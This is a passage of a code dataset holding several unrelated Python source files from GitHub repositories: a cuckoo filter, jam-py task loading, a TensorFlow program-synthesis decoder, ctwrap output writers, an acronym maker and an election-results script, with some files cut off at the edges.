**kwargs)\n self.field = field\n\n def run(self, data, config=None, pipeline=None):\n \"\"\"Parse a field using a regex.\"\"\"\n match = self._search(data[self.field])\n if match is not None:\n data.update(match.groupdict())\n return data\n","repo_name":"PhyreEngine/phyre_engine","sub_path":"phyre_engine/component/db/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"38093950133","text":"\nfrom sklearn.utils import murmurhash3_32 as mmh\nimport random\n\nimport mmh3 \n\n###############\n# CuckooFilter\n###############\n\nclass CuckooFilter:\n def __init__(self, filter_size, fingerprint_size):\n self.filter_size = filter_size\n self.fpsize = fingerprint_size\n self.table = [[],[]]\n self.usage = 0\n self.max_swap = 30\n self.hashseed = 0\n\n \"\"\"\n Given a index try to insert a value to hashtable\n \"\"\"\n # def insert(self,index):\n\n \"\"\"\n Add given item to Cuckoo filter\n \"\"\"\n def add(self,item):\n # TODO : filter computes hash and fingerprint\n\n hash1 = makehash(item)\n fp = makeFingerprint(item)\n hash2 = makehash2(item)\n \n # Always try to put in the first bucket first\n if self.table[0][hash1] != -1:\n self.table[0][hash1] = fp\n self.usage +=1\n return hash1\n \n # Then try inserting to second index:\n if self.table[1][hash2] != -1:\n self.table[1][hash2] = fp\n self.usage +=1\n return hash2\n\n # If Both is full swap any of hash1 and hash2 to swap.\n swap_table = 0 if random.random()>=0.5 else 1\n swap_index = hash1 if swap_table==0 else hash2\n \n for i in range(self.max_swap):\n temp_item_fp = self.table[swap_table][swap_index]\n self.table[swap_table][swap_index] = fp\n fp = temp_item_fp\n swap_index = (swap_index ^ self.makehash(fp))%self.filter_size\n swap_table = 0 if swap_table==1 else 1\n\n if self.table[swap_table][swap_index]==-1:\n self.table[swap_table][swap_index] = fp\n self.usage +=1\n return swap_index\n \n # TODO : need to perform renew hashfunciton.\n \n \"\"\"\n Remove an item in the Cuckoo filter\n \"\"\"\n def remove(self,item):\n hash1 = makehash(item)\n fp = makeFingerprint(item)\n hash2 = makehash2(item)\n if self.table[0][hash1] == fp:\n self.table[0][hash1] == -1\n self.usage -= 1\n return True\n if self.table[1][hash2] == fp:\n self.table[1][hash2] == -1\n self.usage -= 1\n return True\n return False \n \n\n \"\"\"\n Get fingerprint of given item\n \"\"\"\n def makeFingerprint(self,item):\n hash_val = mmh3.hash_bytes(item)\n fp = hash_val[:self.fpsize]\n return fp\n \n \"\"\"\n Given string item returns hash value\n \"\"\"\n def makehash(self, item):\n hash_val = mmh(item,self.hashseed)\n hash_val %= self.filter_size\n return hash_val\n \n \"\"\"\n Get second hash \n \"\"\"\n def makehash2(self,hash1,fp):\n # Xor on hash1 and hash of fingerprint\n hash2 = (hash1 ^ makehash(fp))%self.filter_size\n return hash2\n","repo_name":"frank217/Analysis-of-CuckooFilter","sub_path":"cuckoofilter.py","file_name":"cuckoofilter.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24068351848","text":"import os\nimport json\nfrom werkzeug._compat import iterkeys\n\nfrom ..common import consts, ProjectNotCompleted\nfrom ..server_classes import Task, Group\n\ndef create_task(app):\n result = None\n adm = app.admin\n it = adm.sys_items.copy()\n it.set_where(type_id=consts.TASK_TYPE)\n it.open()\n if adm.task_db_type:\n result = Task(app, it.f_item_name.value, it.f_name.value,\n it.f_js_filename.value, adm.task_db_type, adm.task_db_server,\n adm.task_db_database, adm.task_db_user, adm.task_db_password,\n adm.task_db_host, adm.task_db_port, adm.task_db_encoding,\n adm.task_con_pool_size, adm.task_persist_con\n )\n result.ID = it.id.value\n load_task(result, app)\n else:\n raise ProjectNotCompleted()\n return result\n\ndef reload_task(app):\n if app.task:\n if app.task.pool is None:\n app.task.create_pool()\n load_task(app.task, app, first_build=False)\n\ndef create_fields(item, parent_id, item_dict):\n fields = item_dict['sys_fields']['item']\n fields_dict = item_dict['sys_fields']['rec_dict']\n recs = fields_dict.get(parent_id)\n if recs:\n for r in recs:\n fields.rec_no = r\n if fields.owner_rec_id.value == parent_id:\n visible = False\n word_wrap = False\n expand = False\n editable = False\n edit_visible = False\n edit_index = -1\n field = item.add_field(fields.id.value,\n fields.f_field_name.value,\n fields.f_name.value,\n fields.f_data_type.value,\n size=fields.f_size.value,\n required=fields.f_required.value,\n lookup_item=fields.f_object.value,\n lookup_field=fields.f_object_field.value,\n read_only=fields.f_read_only.value,\n default=fields.f_default.value,\n default_value=fields.f_default_value.value,\n master_field=fields.f_master_field.value,\n alignment=fields.f_alignment.value,\n lookup_values=fields.f_lookup_values.value,\n enable_typeahead=fields.f_enable_typehead.value,\n field_help=fields.f_help.value,\n field_placeholder=fields.f_placeholder.value,\n lookup_field1=fields.f_object_field1.value,\n lookup_field2=fields.f_object_field2.value,\n db_field_name=fields.f_db_field_name.value,\n field_mask=fields.f_mask.value,\n image_edit_width=fields.f_image_edit_width.value,\n image_edit_height=fields.f_image_edit_height.value,\n image_view_width=fields.f_image_view_width.value,\n image_view_height=fields.f_image_view_height.value,\n image_placeholder=fields.f_image_placeholder.value,\n image_camera=fields.f_image_camera.value,\n file_download_btn=fields.f_file_download_btn.value,\n file_open_btn=fields.f_file_open_btn.value,\n file_accept=fields.f_file_accept.value,\n textarea = fields.f_textarea.value,\n do_not_sanitize = fields.f_do_not_sanitize.value\n )\n\ndef create_filters(item, parent_id, item_dict):\n filters = item_dict['sys_filters']['item']\n filters_dict = item_dict['sys_filters']['rec_dict']\n recs = filters_dict.get(parent_id)\n if recs:\n for r in recs:\n filters.rec_no = r\n if filters.owner_rec_id.value == parent_id:\n item.add_filter(\n filters.f_filter_name.value,\n filters.f_name.value,\n filters.f_field.value,\n filters.f_type.value,\n filters.f_multi_select_all.value,\n filters.f_data_type.value,\n filters.f_visible.value,\n filters.f_help.value,\n filters.f_placeholder.value,\n filters.id.value,\n )\n\ndef create_params(item, parent_id, item_dict):\n params = item_dict['sys_report_params']['item']\n params_dict = item_dict['sys_report_params']['rec_dict']\n recs = params_dict.get(parent_id)\n if recs:\n for r in recs:\n params.rec_no = r\n if params.owner_rec_id.value == parent_id:\n item.add_param(\n params.f_name.value,\n params.f_param_name.value,\n params.f_data_type.value,\n params.f_object.value,\n params.f_object_field.value,\n params.f_required.value,\n params.f_visible.value,\n params.f_alignment.value,\n params.f_multi_select.value,\n params.f_multi_select_all.value,\n params.f_enable_typehead.value,\n params.f_lookup_values.value,\n params.f_help.value,\n params.f_placeholder.value\n )\n\ndef create_items(group, item_dict):\n items = item_dict['sys_items']['item']\n items_dict = item_dict['sys_items']['rec_dict']\n recs = items_dict.get(group.ID)\n if recs:\n for r in recs:\n items.rec_no = r\n if group.type_id == consts.REPORTS_TYPE:\n add_item = group.add_report\n else:\n add_item = group.add_item\n item = add_item(\n items.f_item_name.value,\n items.f_name.value,\n items.f_table_name.value,\n items.f_visible.value,\n items.f_view_template.value,\n items.f_js_filename.value,\n items.f_soft_delete.value)\n if item:\n item.ID = items.id.value\n item.gen_name = items.f_gen_name.value\n item._virtual_table = items.f_virtual_table.value\n item.server_code = items.f_server_module.value\n item._keep_history = items.f_keep_history.value\n item.edit_lock = items.f_edit_lock.value\n item.select_all = items.f_select_all.value\n item._primary_key = items.f_primary_key.value\n item._deleted_flag = items.f_deleted_flag.value\n item._master_id = items.f_master_id.value\n item._master_rec_id = items.f_master_rec_id.value\n item._sys_id = items.sys_id.value\n if group.type_id == consts.REPORTS_TYPE:\n create_params(item, items.id.value, item_dict)\n item.rep_ids = []\n else:\n items.load_interface()\n item._view_list = items._view_list\n item._edit_list = items._edit_list\n create_fields(item, group.ID, item_dict)\n create_fields(item, items.id.value, item_dict)\n item._order_by = items._order_list\n item.rep_ids = items._reports_list\n create_filters(item, group.ID, item_dict)\n create_filters(item, items.id.value, item_dict)\n\ndef create_groups(task, item_dict):\n items = item_dict['sys_items']['item']\n groups = []\n for rec in items:\n if rec.id.value == task.ID:\n task.table_name = rec.f_table_name.value\n task.template = rec.f_view_template.value\n task.js_filename = rec.f_js_filename.value\n items.load_interface()\n task.server_code = rec.f_server_module.value\n if rec.parent.value == task.ID:\n group = Group(\n task,\n task,\n rec.f_item_name.value,\n rec.f_name.value,\n rec.f_view_template.value,\n rec.f_js_filename.value,\n rec.f_visible.value,\n rec.type_id.value\n )\n group.ID = rec.id.value\n group.type_id = rec.type_id.value\n group.server_code = rec.f_server_module.value\n groups.append(group)\n for group in groups:\n create_items(group, item_dict)\n\ndef create_details(task, item_dict):\n items = item_dict['sys_items']['item']\n for it in items:\n if it.table_id.value:\n item = task.item_by_ID(it.parent.value)\n table = task.item_by_ID(it.table_id.value)\n if item and table:\n detail = item.add_detail(table)\n detail.item_name = it.f_item_name.value\n detail.ID = it.id.value\n detail.gen_name = table.gen_name\n detail.visible = it.f_visible.value\n detail.view_template = it.f_view_template.value\n detail.js_filename = it.f_js_filename.value\n detail.server_code = it.f_server_module.value\n detail.item_type = consts.ITEM_TYPES[detail.item_type_id - 1]\n items.load_interface()\n detail._view_list = items._view_list\n detail._edit_list = items._edit_list\n detail._order_by = items._order_list\n\ndef add_reports(item):\n item.reports = []\n for rep_id in item.rep_ids:\n report = item.task.item_by_ID(rep_id[0])\n if report:\n item.reports.append(report)\n\ndef process_reports(task):\n for group in task.items:\n for item in group.items:\n add_reports(item)\n\ndef process_lookup_lists(task, admin):\n lists = admin.sys_lookup_lists.copy()\n lists.open(order_by=['f_name'])\n for l in lists:\n text = l.f_lookup_values_text.value\n task.lookup_lists[l.id.value] = json.loads(l.f_lookup_values_text.value)\n\ndef fill_dict(item, parent_field_name):\n result = {}\n parent_field = item.field_by_name(parent_field_name)\n for i in item:\n d = result.get(parent_field.value)\n if d is None:\n d = []\n result[parent_field.value] = d\n d.append(i.rec_no)\n return result\n\ndef fill_rec_dicts(admin):\n result = {}\n items = [\n ['sys_items', 'f_index', 'parent'],\n ['sys_fields', 'id', 'owner_rec_id'],\n ['sys_filters', 'f_index', 'owner_rec_id'],\n ['sys_report_params', 'f_index', 'owner_rec_id']\n ]\n for item_name, order_by, parent_field_name in items:\n item = admin.item_by_name(item_name)\n copy = item.copy(handlers=False, details=False)\n copy.open(order_by=[order_by])\n result[item_name] = {}\n result[item_name]['item'] = copy\n result[item_name]['rec_dict'] = fill_dict(copy, parent_field_name)\n return result\n\ndef load_tree(admin, task):\n item_dict = fill_rec_dicts(admin)\n create_groups(task, item_dict)\n create_details(task, item_dict)\n process_reports(task)\n process_lookup_lists(task, admin)\n\ndef remove_attr(task):\n for key in list(iterkeys(task.__dict__)):\n try:\n value = task.init_dict[key]\n if hasattr(task.__dict__[key], '__call__'):\n task.__dict__[key] = value\n except:\n del task.__dict__[key]\n\ndef history_on_apply(item, delta, params):\n raise Exception('Changing of history is not allowed.')\n\ndef load_task(task, app, first_build=True, after_import=False):\n task.pool.dispose()\n task.pool.recreate()\n\n admin = app.admin\n\n remove_attr(task)\n task.items = []\n load_tree(admin, task)\n\n task.bind_items()\n task.compile_all()\n\n params = admin.sys_params.copy()\n params.open(fields=['f_history_item', 'f_lock_item'])\n task.history_item = None\n if params.f_history_item.value:\n task.history_item = task.item_by_ID(params.f_history_item.value)\n task.history_item.on_apply = history_on_apply\n if params.f_lock_item.value:\n task.lock_item = task.item_by_ID(params.f_lock_item.value)\n\n task.first_build = first_build\n task.after_import = after_import\n if task.on_created:\n task.on_created(task)\n\n internal_path = os.path.join(admin.work_dir, 'static', 'internal')\n if os.path.exists(internal_path):\n try:\n shutil.rmtree(internal_path)\n except:\n pass\n\n task.pool.dispose()\n task.pool = None\n","repo_name":"jam-py/jam-py","sub_path":"jam/admin/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":12464,"program_lang":"python","lang":"en","doc_type":"code","stars":415,"dataset":"github-code","pt":"75"} +{"seq_id":"728601818","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.util import nest\nfrom tensorflow.contrib.seq2seq import Helper, TrainingHelper, BasicDecoder\nfrom tensorflow.contrib.rnn import \\\n RNNCell, LSTMCell, MultiRNNCell, OutputProjectionWrapper\n\nfrom .encoder import linear, int_shape\n\ndef decoder(num_examples, codes, code_lengths,\n encoder_out, dataset, config, train_or_test):\n \"\"\" codes: [B, L]\n encoder_out: [BxN, 512]\n \"\"\"\n batch_size = tf.shape(codes)[0]\n batch_times_N = batch_size * num_examples\n\n num_token = dataset.num_token\n\n with tf.variable_scope(\"decoder\"):\n # [BxN, L, 512]\n tiled_encoder_out = tf.tile(\n tf.expand_dims(encoder_out, 1),\n [1, tf.shape(codes)[1], 1],\n name=\"tiled_encoder_out\")\n\n embed = tf.get_variable(\n 'embedding', [dataset.num_token, 256], dtype=tf.float32,\n initializer=tf.truncated_normal_initializer(stddev=0.5))\n\n # [B, L, 256]\n code_embed = tf.nn.embedding_lookup(embed, codes)\n # [BxN, L, 256]\n tiled_code_embed = tf.tile(\n code_embed, [num_examples, 1, 1], name=\"tiled_code_embed\")\n # [BxN, 256]\n start_code_embed = tf.tile(\n [[0.0]], [batch_times_N, 256], name=\"start_token\")\n\n # [BxN, L, 768]\n rnn_train_inputs = tf.concat(\n [tiled_encoder_out, tiled_code_embed], -1, name=\"rnn_input\")\n\n decoder_cell = MultiRNNCell([\n LSTMCell(256),\n NaiveOutputProjectionWrapper(\n MaxPoolWrapper(LSTMCell(256), num_examples),\n num_token)], state_is_tuple=True)\n\n # [BxN, L, 256] -> [B, L, 256] #-> [BxN, L, 256]\n decoder_logits, decoder_argamx = build_rnn(\n train_or_test,\n cell=decoder_cell,\n rnn_train_inputs=rnn_train_inputs,\n start_code_embed=start_code_embed,\n batch_size=batch_times_N,\n target_lengths=code_lengths,\n embedding=embed,\n encoder_out=encoder_out,\n name=\"decoder_rnn\")\n\n # [BxN, L, 256] -> [B, L, 256]\n decoder_logits = decoder_logits[:batch_size]\n decoder_argamx = decoder_argamx[:batch_size]\n\n if config.use_syntax:\n syntax_cell = MultiRNNCell([\n LSTMCell(256),\n LSTMCell(256)], state_is_tuple=True)\n\n # [B, L, 256]\n syntax_out = build_rnn(\n train_or_test,\n cell=syntax_cell,\n rnn_train_inputs=code_embed,\n start_code_embed=start_code_embed,\n batch_size=batch_size,\n target_lengths=code_lengths,\n name=\"syntax_rnn\")\n\n syntax_logits = linear(max_pool, num_token, \"out\")\n\n raise NotImplementedError(\"TODO\")\n decoder_logits = decoder_logits + syntax_logits\n\n return decoder_logits, decoder_argamx\n\ndef build_rnn(train_or_test, cell, rnn_train_inputs, start_code_embed,\n batch_size, target_lengths, embedding, encoder_out, name):\n\n if train_or_test:\n helper = DefaultZeroInputTrainingHelper(\n rnn_train_inputs, target_lengths, encoder_out, start_code_embed)\n else:\n helper = TestEmbeddingConcatHelper(\n batch_size, embedding, encoder_out, start_code_embed)\n\n initial_state = cell.zero_state(\n batch_size=batch_size, dtype=tf.float32)\n\n (decoder_outputs, decoder_samples), final_decoder_state, _ = \\\n tf.contrib.seq2seq.dynamic_decode(\n BasicDecoder(cell, helper, initial_state), scope=name)\n\n return decoder_outputs, decoder_samples\n\n\nclass DefaultZeroInputTrainingHelper(TrainingHelper):\n def __init__(self, inputs, sequence_length, encoder_out, start_code_embed,\n time_major=False, name=None):\n super(DefaultZeroInputTrainingHelper, self). \\\n __init__(inputs, sequence_length, time_major, name)\n\n self._start_inputs = tf.concat([\n encoder_out, start_code_embed], -1)\n\n def initialize(self, name=None):\n finished = tf.tile([False], [self._batch_size])\n return (finished, self._start_inputs)\n\n\nclass TestEmbeddingConcatHelper(Helper):\n def __init__(self, batch_size, embedding, encoder_out, start_code_embed):\n # batch_times_N\n self._batch_size = batch_size\n self._encoder_out = encoder_out\n self._start_code_embed = start_code_embed\n\n self._embedding_fn = (\n lambda ids: tf.nn.embedding_lookup(embedding, ids))\n self._start_inputs = tf.concat([\n self._encoder_out, self._start_code_embed], -1)\n self._end_token = 0\n\n @property\n def batch_size(self):\n return self._batch_size\n\n @property\n def sample_ids_shape(self):\n return tf.TensorShape([])\n\n @property\n def sample_ids_dtype(self):\n return np.int32\n\n def initialize(self, name=None):\n finished = tf.tile([False], [self._batch_size])\n return (finished, self._start_inputs)\n\n def sample(self, time, outputs, state, name=None):\n #del time, state # unused by sample_fn\n sample_ids = tf.cast(tf.argmax(outputs, axis=-1), tf.int32)\n return sample_ids\n\n def next_inputs(self, time, outputs, state, sample_ids, name=None):\n #del time, outputs # unused by next_inputs_fn\n finished = tf.equal(sample_ids, self._end_token)\n all_finished = tf.reduce_all(finished)\n sampled_embed = tf.cond(\n all_finished,\n lambda: self._start_code_embed,\n lambda: self._embedding_fn(sample_ids))\n next_inputs = tf.concat([self._encoder_out, sampled_embed], -1)\n return (finished, next_inputs, state)\n\n\nclass MaxPoolWrapper(RNNCell):\n def __init__(self, cell, num_examples, reuse=None):\n super(MaxPoolWrapper, self).__init__(_reuse=reuse)\n self._cell = cell\n self._num_examples = num_examples\n\n @property\n def state_size(self):\n return self._cell.state_size\n\n @property\n def output_size(self):\n return self._output_size\n\n def zero_state(self, batch_size, dtype):\n with tf.name_scope(type(self).__name__ + \"ZeroState\", values=[batch_size]):\n return self._cell.zero_state(batch_size, dtype)\n\n def call(self, inputs, state):\n output, res_state = self._cell(inputs, state)\n B_times_N, cell_dim = int_shape(output)\n\n # [BxN, 256] -> [B, N, 256]\n decoder_out = tf.reshape(\n output, [-1, self._num_examples, cell_dim])\n\n # [B, 256]\n max_pool = tf.reduce_max(decoder_out, 1)\n\n # [Bx2, 256]\n max_pool = tf.tile(max_pool, [self._num_examples, 1])\n\n return max_pool, res_state\n\n\nclass NaiveOutputProjectionWrapper(OutputProjectionWrapper):\n def __init__(self, cell, output_size, activation=None, reuse=None):\n try:\n super(NaiveOutputProjectionWrapper, self). \\\n __init__(cell, output_size, activation, reuse)\n except TypeError:\n pass\n\n self._cell = cell\n self._output_size = output_size\n self._activation = activation\n self._linear = None\n","repo_name":"carpedm20/program-synthesis-rl-tensorflow","sub_path":"models/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":7358,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"75"} +{"seq_id":"40133486458","text":"\"\"\"The :py:mod:`output` module defines defines a :class:`Output` object\nand derived classes that handle file output for batch jobs of wrapped\n:any:`Simulation` module runs.\n\nClass Definitions\n+++++++++++++++++\n\"\"\"\n\nfrom pathlib import Path\nimport pandas as pd\nimport h5py\nimport json\nimport warnings\n\nfrom typing import Dict, List, Any, Optional, Union\n\nimport pkg_resources\n\n# avoid explicit dependence on cantera\ntry:\n pkg_resources.get_distribution('cantera')\nexcept pkg_resources.DistributionNotFound:\n ct = ImportError('Method requires a working cantera installation.')\nelse:\n import cantera as ct\n\n\nclass Output:\n \"\"\"Class handling file output\n\n Arguments:\n settings: Dictionary specifying output settings\n file_name: filename (overrides settings enty)\n file_path: output path (overrides settings entryl)\n \"\"\"\n _ext = [None]\n\n def __init__(\n self,\n settings: Dict[str, Any],\n file_name: Optional[str]=None,\n file_path: Optional[str]=None\n ):\n \"\"\"Constructor\"\"\"\n file_format = settings.pop('format', None)\n if isinstance(file_format, str):\n file_format = '.' + file_format.lstrip('.')\n\n if 'force_overwrite' in settings:\n settings['force'] = settings.pop('force_overwrite')\n warnings.warn(\"Key 'force_overwrite' is replaced by 'force'\",\n PendingDeprecationWarning)\n\n if 'file_name' in settings:\n settings['name'] = settings.pop('file_name')\n warnings.warn(\"Key 'file_name' is replaced by 'name'\",\n PendingDeprecationWarning)\n\n file_path = settings.pop('path', file_path)\n if file_path is not None:\n file_path = str(file_path)\n\n # file name keyword overrides dictionary\n if file_name is None:\n file_name = Path(settings.pop('name'))\n if file_format is None:\n file_format = file_name.suffix\n file_name = file_name.stem\n\n else:\n # file_name may contain path information\n head = Path(file_name).parent\n file_name = Path(file_name).name\n if str(head) != \".\" and file_path is None:\n file_path = str(head)\n elif str(head) != \".\":\n raise RuntimeError('Contradictory path specifications')\n\n tmp = Path(file_name).suffix\n if tmp:\n file_format = tmp\n file_name = Path(file_name).stem\n\n # ensure extension matches object type\n if file_format not in self._ext:\n raise ValueError(\"Incompatible output type for class {}: {} is \"\n \"not in {}\".format(type(self), file_format, self._ext))\n\n self.force = settings.pop('force', False)\n self.mode = settings.pop('mode', 'a')\n self.path = file_path\n self.name = file_name + file_format\n self.kwargs = settings.copy()\n\n @property\n def output_name(self):\n \"\"\"Return output name\"\"\"\n if self.path is None:\n return str(self.name)\n else:\n out = Path(self.path) / self.name\n return str(out)\n\n @property\n def settings(self):\n \"\"\"Output settings\"\"\"\n out = {\n 'format' : Path(self.name).suffix.lstrip('.'),\n 'name': self.name,\n 'path': self.path,\n 'force': self.force,\n 'mode': self.mode\n }\n return {**out, **self.kwargs}\n\n @classmethod\n def from_dict(\n cls,\n settings: Dict[str, Any],\n file_name: Optional[str]=None,\n file_path: Optional[str]=None\n ) -> 'Output':\n \"\"\"Factory loader for :class:`Output` objects\n\n Arguments:\n settings: Dictionary containing output settings\n \"\"\"\n ext = settings.get('format')\n if ext is None:\n return Output(settings.copy(), file_name, file_path)\n\n ext = '.' + ext\n if ext in WriteHDF._ext:\n return WriteHDF(settings.copy(), file_name, file_path)\n\n if ext in WriteCSV._ext:\n return WriteCSV(settings.copy(), file_name, file_path)\n\n raise NotImplementedError(\"Invalid file format {}\".format(ext))\n\n def save(\n self,\n data: Any,\n entry: str,\n variation: Optional[Dict]=None,\n mode: Optional[str]='a',\n errored: Optional[bool]=False\n ) -> bool:\n \"\"\"Save output\n\n Arguments:\n data: Data to be saved\n entry: Description of simulation task\n variation: Parameter values\n mode: Save mode\n errored: Boolean describing success of simulation task\n\n Returns:\n `True` if data are saved successfully\n \"\"\"\n raise NotImplementedError(\"Needs to be overloaded by derived methods\")\n\n def dir(self) -> List[str]:\n \"\"\"List previously saved cases\"\"\"\n raise NotImplementedError(\"Needs to be overloaded by derived methods\")\n\n def load_like(self, entry: str, other: Any) -> Any:\n \"\"\"Load previously saved output\n\n Arguments:\n entry: Label of entry to be loaded\n other: Object of the same type as the one to be loaded\n \"\"\"\n raise NotImplementedError(\"Needs to be overloaded by derived methods\")\n\n def finalize(\n self,\n metadata: Dict[str, Any]\n ) -> bool:\n \"\"\"Save metadata\n\n Arguments:\n metadata: Metadata to be appended to the output file\n\n Returns:\n `True` if metadata are saved successfully\n \"\"\"\n raise NotImplementedError(\"Needs to be overloaded by derived methods\")\n\n\nclass WriteCSV(Output):\n \"\"\"Class writing CSV output\"\"\"\n\n _ext = ['.csv']\n\n def save(self, data, entry, variation=None, mode=None, errored=False):\n \"\"\n if not data:\n return\n\n returns = self.kwargs.get('returns')\n # key, value = next(iter(data.items()))\n\n if type(data).__name__ == 'Solution':\n\n if isinstance(ct, ImportError):\n raise ct # pylint: disable=raising-bad-type\n\n # use cantera native route to pandas.Series via SolutionArray.to_pandas\n arr = ct.SolutionArray(data, 1)\n data = arr.to_pandas(cols=list(returns.values())).iloc[0]\n\n elif type(data).__name__ == 'Mixture':\n\n # there is no native route in cantera\n out = []\n for k, v in returns.items():\n val = getattr(data, str(v))\n if hasattr(data, k) and isinstance(getattr(data, k), list):\n out.extend(zip(getattr(data, k), val))\n else:\n out.append((k, val))\n\n data = pd.Series(dict(out))\n\n if isinstance(data, pd.Series):\n\n if isinstance(variation, dict):\n var = {k.replace('.', '_'): v for k, v in variation.items()}\n data = pd.concat([pd.Series(var), data])\n\n row = pd.concat([pd.Series({'output': entry}), data])\n\n fname = Path(self.output_name)\n if fname.is_file():\n df = pd.read_csv(fname)\n else:\n df = pd.DataFrame(columns=row.keys())\n df = df.append(row, ignore_index=True)\n df.to_csv(fname, index=False)\n\n def dir(self):\n \"\"\n fname = Path(self.output_name)\n if not fname.is_file():\n return []\n\n df = pd.read_csv(fname)\n return list(df.output)\n\n def load_like(self, entry, other):\n \"\"\n raise NotImplementedError(\"Loader not implemented for '{}'\".format(type(other).__name__))\n\n def finalize(self, metadata):\n \"\"\n # don't save metadata\n pass\n\n\nclass WriteHDF(Output):\n \"\"\"Class writing HDF output\"\"\"\n\n _ext = ['.h5', '.hdf', '.hdf5']\n\n def save(self, data, entry, variation=None, errored=False):\n \"\"\n try:\n if isinstance(data, dict):\n for key, val in data.items():\n grp = '{}/{}'.format(entry, key)\n _save_hdf(val, self.settings, grp, variation,errored)\n else:\n _save_hdf(data, self.settings, entry, variation, errored)\n return True\n\n except OSError as err:\n # Convert exception to warning\n msg = \"Output of entry '{}' failed with error message:\\n{}\".format(entry, err)\n warnings.warn(msg, RuntimeWarning)\n return False\n\n def dir(self):\n \"\"\n fname = Path(self.output_name)\n if not fname.is_file():\n return []\n\n with h5py.File(fname, 'r') as hdf:\n keys = list(hdf.keys())\n return keys\n\n def load_like(self, entry, other):\n \"\"\n if other is None:\n return None\n\n fname = Path(self.output_name)\n if not fname.is_file():\n return None\n\n with h5py.File(fname, 'r') as hdf:\n if entry not in hdf.keys():\n return None\n\n if type(other).__name__ == 'SolutionArray':\n\n if isinstance(ct, ImportError):\n raise ct # pylint: disable=raising-bad-type\n\n extra = list(other._extra.keys())\n out = ct.SolutionArray(other._phase, extra=extra)\n out.read_hdf(fname, group=entry)\n return out\n\n elif type(other).__name__ == 'FreeFlame':\n\n if isinstance(ct, ImportError):\n raise ct # pylint: disable=raising-bad-type\n\n out = ct.FreeFlame(other.gas)\n out.read_hdf(fname, group=entry)\n return out\n\n raise NotImplementedError(\"Loader not implemented for '{}'\".format(type(other).__name__))\n\n def finalize(self, metadata):\n \"\"\n if metadata is None:\n return None\n\n def _finalize(output_name, metadata):\n \"\"\"Hidden module\"\"\"\n\n with h5py.File(output_name, 'r+') as hdf:\n for key, val in metadata.items():\n if isinstance(val, dict):\n hdf.attrs[key] = json.dumps(val)\n else:\n hdf.attrs[key] = val\n\n try:\n _finalize(self.output_name, metadata)\n return True\n\n except OSError as err:\n # Convert exception to warning\n msg = \"Output of metadata failed with error message:\\n{}\".format(err)\n warnings.warn(msg, RuntimeWarning)\n return False\n\n\ndef _save_hdf(data, settings, entry, variation, errored=False):\n filename = settings.pop('name')\n mode = settings.pop('mode', 'a')\n\n if filename is None:\n return\n\n filepath = settings.pop('path')\n force = settings.pop('force')\n settings.pop('format')\n\n if filepath is not None:\n filename = Path(filepath) / filename\n\n # file check\n fexists = Path(filename).is_file()\n\n if fexists:\n with h5py.File(filename, 'r') as hdf:\n for group in hdf.keys():\n if group == entry and mode == 'a' and not force:\n msg = ('Cannot overwrite existing '\n 'group `{}` (use force to override)')\n raise RuntimeError(msg.format(entry))\n elif group == entry and mode == 'a' and force:\n mode = 'w'\n\n settings.update(mode=mode)\n\n hdf_kwargs = {'mode', 'append', 'compression', 'compression_opts'}\n kwargs = {k: v for k, v in settings.items() if k in hdf_kwargs}\n\n if errored:\n with h5py.File(filename, mode) as hdf:\n grp = hdf.create_group(entry)\n grp.attrs[data[0]] = data[1]\n else:\n if type(data).__name__ == 'SolutionArray':\n if variation is not None:\n attrs = variation\n else:\n attrs = {}\n data.write_hdf(filename=filename, group=entry,\n attrs=attrs, **kwargs)\n elif type(data).__name__ in ['FreeFlame']:\n if variation is not None:\n description = '_'.join(['{}_{}'.format(k, v) for k, v in variation.items()])\n else:\n description = None\n data.write_hdf(filename=filename, group=entry,\n description=description, **kwargs)\n","repo_name":"microcombustion/ctwrap","sub_path":"ctwrap/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":12454,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"6730266272","text":"# U05_EX04_Acronymer.py\n#\n# Author: Will Baschab\n# Course: Coding for OOP\n# Section: A2\n# Date: 02 Dec 2018\n# IDE: PyCharm\n#\n# Assignment Info\n# Exercise: 04\n# Source: Python Programming\n# Chapter: 05\n#\n# Program Description\n# This program takes a phrase as input entered by the user\n# and will return an acronym (in CAPS) of the phrase.\n#\n# Algorithm (pseudocode)\n\"\"\"\n- print introduction\n\n- set to user input\n\n- set to \"\"\n\n- start a for loop of in .split\n - set to [0]\n - set to ( + ).upper\n\n- print output with original phrase and acronym (with string formatting)\n\"\"\"\n\n\ndef main():\n print(\"\\nThis program takes a phrase as input entered by the user\"\n \"\\nand will return an acronym (in CAPS) of the phrase.\\n\")\n\n phrase = input(\"Enter the phrase to make into an acronym: \")\n\n acronym = \"\"\n\n for word in phrase.split():\n first_letter = word[0]\n acronym = (acronym + first_letter).upper()\n\n print('\\nThe phrase \"{0}\" has the acronym \"{1}\".'.format(phrase, acronym))\n\n\nmain()\n","repo_name":"willbaschab/COOP_2018","sub_path":"Chapter05/U05_EX04_Acronymer.py","file_name":"U05_EX04_Acronymer.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28705314749","text":"\n\n# Import Dependencies\n\nimport csv\nimport os\n\n# add variable for file load\nfile_to_load = os.path.join(\"Resources\", \"election_results.csv\")\n\nfile_to_save = os.path.join(\"analysis\", \"election_analysis.txt\")\n\n#Initialize total vote counter\ntotal_votes = 0\n#candidate options and votes\ncandidate_options = []\ncandidate_votes = {}\n\n#Challenge County Options and county votes\ncounty_names = []\ncounty_votes = {}\n\n\n#track the winning candidate vote count and %\nwinning_candidate = \"\"\nwinning_count = 0\nwinning_percentage = 0\n\n#challenges track the largest county voter turnouts and %\nlargest_county_turnout = \"\"\nlargest_county_votes = 0\n\n#open and read csv, convert into lists of dict\nwith open(file_to_load) as election_data:\n reader = csv.reader(election_data)\n\n # read the header\n header=next(reader)\n #print(header)\n\n for row in reader:\n total_votes = total_votes +1\n\n #get candidate 